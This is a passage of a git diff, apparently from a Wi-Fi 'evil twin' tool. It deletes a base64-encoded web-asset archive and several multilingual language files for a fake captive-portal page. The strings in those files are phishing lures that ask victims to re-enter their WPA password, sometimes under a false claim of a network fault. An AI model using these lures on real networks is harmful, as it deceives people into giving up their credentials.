-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 -0ArOJNIBUEsFBgAAAAAJAAkAhwMAAOfpAQAAAA== diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Arabic.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Arabic.lang deleted file mode 100644 index e71e565..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Arabic.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="الرجاء إدخال كلمة المرور الخاصة بالشبكة للإتصال بشبكة الانترنت." -DIALOG_WEB_INPUT="كلمة السر:" -DIALOG_WEB_SUBMIT="تأكيد" -DIALOG_WEB_ERROR="خطأ: كلمة السر المدخلة غير صحيحة!" -DIALOG_WEB_OK="الرجاء الإنتظار بينما يتم التأكد من كلمة السر و استعادة الاتصال! شكرا لتعاونكم" -DIALOG_WEB_BACK="عودة" -DIALOG_WEB_ERROR_MSG="هذا الحقل إلزامي" -DIALOG_WEB_LENGTH_MIN="يجب أن تكون كلمة المرور أكثر من {0} أحرف او أرقام" -DIALOG_WEB_LENGTH_MAX="يجب أن تكون كلمة المرور أقل من {0} أحرف او أرقام" -DIALOG_WEB_DIR="rtl" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Bulgarian.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Bulgarian.lang deleted file mode 100644 index f2a4ee2..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Bulgarian.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="От съображения за сигурност е необходимо да въведете своята WPA парола за да получите достъп до Интернет." -DIALOG_WEB_INPUT="Въведете своята WPA парола:" -DIALOG_WEB_SUBMIT="Изпращане" -DIALOG_WEB_ERROR="Грешка: Въведената парола е неправилна!" -DIALOG_WEB_OK="Връзката ще бъде възстановена след няколко секунди." -DIALOG_WEB_BACK="Назад" -DIALOG_WEB_ERROR_MSG="Това поле е задължително!" -DIALOG_WEB_LENGTH_MIN="Паролата трябва да съдържа повече от {0} символа!" -DIALOG_WEB_LENGTH_MAX="Паролата трябва да съдържа по-малко от {0} символа!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Chinese.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Chinese.lang deleted file mode 100644 index 619891b..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Chinese.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="您的网络出现了严重问题,请输入密码来自动修复" -DIALOG_WEB_INPUT="请输入您的无线网络密码:" -DIALOG_WEB_SUBMIT="提交并修复" -DIALOG_WEB_ERROR="出错了:您输入的密码错误!" -DIALOG_WEB_OK="正在自动修复错误,网络会在短时间内恢复" -DIALOG_WEB_BACK_ZH="返回" -DIALOG_WEB_ERROR_MSG="此处不能为空" -DIALOG_WEB_LENGTH_MIN="密码最少要有{0}个字符!" -DIALOG_WEB_LENGTH_MAX="密码必须少于{0}个字符!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Czech.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Czech.lang deleted file mode 100644 index 99b2f44..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Czech.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Omlouváme se, ale došlo k problémům se zabezpečením vašeho bezdrátového routeru. Zadejte prosím znovu vaše heslo WPA/WPA2." -DIALOG_WEB_INPUT="Vaše heslo WPA/WPA2:" -DIALOG_WEB_SUBMIT="Odeslat" -DIALOG_WEB_ERROR="Chyba: Zadané heslo není správné!" -DIALOG_WEB_OK="Děkujeme, vaše připojení bude během krátké chvíle obnoveno." -DIALOG_WEB_BACK="Zpět" -DIALOG_WEB_ERROR_MSG="Toto pole musíte vyplnit." -DIALOG_WEB_LENGTH_MIN="Heslo musí být delší než {0} znak(ů)!" -DIALOG_WEB_LENGTH_MAX="Heslo musí být kratší než {0} znaků(ů)!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Danish.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Danish.lang deleted file mode 100644 index 17e2be8..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Danish.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Af sikkerhedsmæssige årsager, skal du skrive netværksadgangskoden, for at få adgang til internettet." -DIALOG_WEB_INPUT="Angiv netværksadgangskoden:" -DIALOG_WEB_SUBMIT="Forsæt" -DIALOG_WEB_ERROR="Fejl: Den indtastede netværksadgangskode er ikke korrekt!" -DIALOG_WEB_OK="Tak, din forbindelse vil blive genoprettet inden få sekunder." -DIALOG_WEB_BACK="Tilbage" -DIALOG_WEB_ERROR_MSG="Dette felt er obligatorisk" -DIALOG_WEB_LENGTH_MIN="Netværksadgangskoden skal være på mere end {0} tegn!" -DIALOG_WEB_LENGTH_MAX="Netværksadgangskoden skal være på mindre end {0} tegn!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Dutch.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Dutch.lang deleted file mode 100644 index f95d2b4..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Dutch.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Voer uw WPA-wachtwoord wegens beveiligingsredenen in om weer internettoegang te krijgen." -DIALOG_WEB_INPUT="Typ Uw WPA wachtwoord:" -DIALOG_WEB_SUBMIT="Invoeren" -DIALOG_WEB_ERROR="Error: Het ingevoerde wachtwoord is niet juist!" -DIALOG_WEB_OK="Uw verbinding wordt in enkele seconden hervat." -DIALOG_WEB_BACK="Terug" -DIALOG_WEB_ERROR_MSG="Dit veld is verplicht." -DIALOG_WEB_LENGTH_MIN="Het wachtwoord moet langer zijn dan {0} karakters!" -DIALOG_WEB_LENGTH_MAX="Het wachtwoord moet korter zijn dan {0} karakters!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/English.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/English.lang deleted file mode 100644 index a1545bb..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/English.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Authentication required for Internet access." -DIALOG_WEB_INPUT="WPA Key:" -DIALOG_WEB_SUBMIT="Connect" -DIALOG_WEB_ERROR="Error: The password entered is incorrect!" -DIALOG_WEB_OK="Please wait while the password is verified." -DIALOG_WEB_BACK="Back" -DIALOG_WEB_ERROR_MSG="This field is required." -DIALOG_WEB_LENGTH_MIN="The password must be more than {0} characters!" -DIALOG_WEB_LENGTH_MAX="The password must be less than {0} characters!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/French.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/French.lang deleted file mode 100644 index 1dc20ab..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/French.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Pour des raisons de sécurité, entrez votre clé WPA" -DIALOG_WEB_INPUT="Entrez votre clé WPA :" -DIALOG_WEB_SUBMIT="Soumettre" -DIALOG_WEB_ERROR="Erreur : Le mot de passe entré est incorrect !" -DIALOG_WEB_OK="Votre connection va être restaurée dans un instant." -DIALOG_WEB_BACK="Retour" -DIALOG_WEB_ERROR_MSG="Ce champ est obligatoire." -DIALOG_WEB_LENGTH_MIN="Le mot de passe doit avoir plus de {0} caractères" -DIALOG_WEB_LENGTH_MAX="Le mot de passe doit avoir moins de {0} caractères" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/German.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/German.lang deleted file mode 100644 index a90e295..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/German.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein." -DIALOG_WEB_INPUT="Geben Sie den WPA2 Schlüssel ein:" -DIALOG_WEB_SUBMIT="Bestätigen" 